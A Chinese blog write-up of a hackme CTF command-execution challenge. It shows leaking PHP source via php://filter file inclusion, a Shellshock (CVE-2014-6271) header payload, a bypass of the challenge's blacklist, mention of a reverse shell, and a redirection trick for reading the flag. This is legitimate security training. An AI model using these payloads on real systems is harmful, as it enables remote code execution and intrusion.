Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

结合CVE的一道命令执行弹shell的题目

前记

这是hackme一道题目,这道题目结合了一个高危的cve以及弹shell的操作,从这题目学到了挺多东西的,为此把这道题目记录一下。

初步测试

题目地址:https://command-executor.hackme.inndy.tw/
打开发现网页有几个明显的功能:

第一个页面是man的函数说明,第二个功能是则是上传文件,第三个功能就是输入命令执行了,但是被限制的很死,也就是说只能执行ls以及env,第四个就是ls读取文件,但是只能读取四个目录的文件,不过问题不大,可以更改file参数来更改读取目录。不过点点的时候发现了一个很明显的漏洞:

这里很容易想到可以尝试用文件包含来读取源码:

1
https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource=index

读取出index.php源码,挑出一些值得审计的代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];

function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}

$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

$page = '';

if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}

if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}

审计index.php的时候,发现了一个黑名单,过滤了/flag以及(){ :; };,这个时候还并不知道有何作用,接着查看untar的源码,发现网页只是把我们上传的文件名进行解压,并没什么卵用。接下来的源码没啥利用价值。
根据飘零师傅的wp,飘零师傅通过观察到了env以及putenv联想到了之前的一个cve,具体的分析如下:

1
http://www.freebuf.com/articles/system/45390.html

接着飘零师傅推荐这篇生成exp的文章:

1
https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php


payload如下:

1
wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -  http://127.0.0.1/shock.php

接着可以对比一下之前的源码,发现出现漏洞的源码十分相似,我们可以尝试一下payload的实用性,不过之前在waf中我们看到过滤了payload的一部分:

1
2
3
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

我们可以通过在:;之间加空格来绕过,所以尝试的payload如下:

1
wget --header="X-Exploit: () { : ; }; echo This is a test" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"


发现成功执行了命令,那接着我们可以尝试读取一下/etc/passwd

可以发现flag文件夹在根目录下,尝试读取一下。

突然想起来,/flag被过滤了,这里我们用通配符绕过,但是并没有任何回显,我们用第四个功能ls看啥情况。

发现我们没权限读取这个文件,需要root权限,但是下面flag-reader.c可以读取,我们尝试读一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}

setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));

if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}

看不太懂,套用一叶飘零师傅的话就是,这个命令可以1秒之内把他输出的再输入回去,就可以打出文件内容。
运行这个c,再把这个c输出在1s内再输回去,但是纯靠这样的交互,速度极慢,所以容易想到,要不要拿个shell?接着我们可以利用bash弹shell到我们的服务器上:

有了shell,现在就是如何读取flag的问题了,这里借鉴了一叶飘零师傅的思路,通过找到可写入文件的目录,利用了linux下的重定向,将输出写到某个文件中,再自动输入即可,这样即可达到目的。通过ls的功能我们可以看到tmp目录可以写入,所以参考的payload如下:

1
flag-reader flag > /var/tmp/flllag < /var/tmp/flllag

接着读取这个文件就行了。
PS:记得删除自己所留下的文件,要不然可能导致题目没办法做了。不过在tmp目录下一堆别人留下的flag文件,随便读一个就行了。

本站总访问量